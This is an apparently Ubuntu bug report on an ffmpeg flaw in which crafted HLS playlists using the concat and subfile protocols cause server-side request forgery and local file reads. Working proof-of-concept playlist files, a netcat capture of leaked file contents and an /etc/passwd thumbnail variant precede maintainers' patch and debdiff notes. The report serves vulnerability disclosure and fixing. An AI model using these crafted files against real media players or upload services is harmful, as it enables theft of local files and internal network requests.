Bug Description

There is a russian blog post about SSRF and local file read with ffmpeg:
http://habrahabr.ru/company/mailru/blog/274855/

One of variants:
$ cat /tmp/test.m3u8
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://localhost:8080?

(Last line - http://* without \n)

$ cat /tmp/test.avi
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:file:///tmp/test.m3u8|file:///tmp/test
#EXT-X-ENDLIST

$ cat /tmp/test
qwerty
123456

Open test.avi with smplayer or even kde baloo:

$ nc -v -l 8080
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 47636)
GET ?qwerty HTTP/1.1
User-Agent: Lavf/56.1.0
Accept: */*
Range: bytes=0-
Connection: close
Host: localhost:8080
Icy-MetaData: 1

Localhost and local test.m3u8 can be changed to remote server.
File extension does not matter.

There is another attack with tumbmails:
$ cat header.y4m
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME

$ cat video.mp4
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://example.org/header.y4m|file:///etc/passwd
#EXT-X-ENDLIST

$ ffmpeg -i video.mp4 thumbnail.png
$ ffmpeg -i thumbnail.png out.y4m
$ cat out.y4m
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono

For read full file just switch from 'concat' to 'subfile' as I understood.

Thanks for taking the time to report this bug and helping to make Ubuntu better. Since the package referred to in this bug is in universe or multiverse, it is community maintained. If you are able, I suggest coordinating with upstream and posting a debdiff for this issue. When a debdiff is available, members of the security team will review it and publish the package.

Filipp, if an issue is fixed in libavformat it doesn't affect programs using this dynamic library (like mplayer) anymore, once they have been restarted after libavformat has been upgraded.

To fix this issue in xenial, 2.8.5-1 needs to be merged from Debian/unstable.

Attached is a debdiff for vivid. (git repo is at [1])

Testing performed (in a vivid chroot):
 * build including test suite works
 * installation works
 * upgrade works
 * no regression in the autopkgtests from 2.8.5-1

version 2.5.10
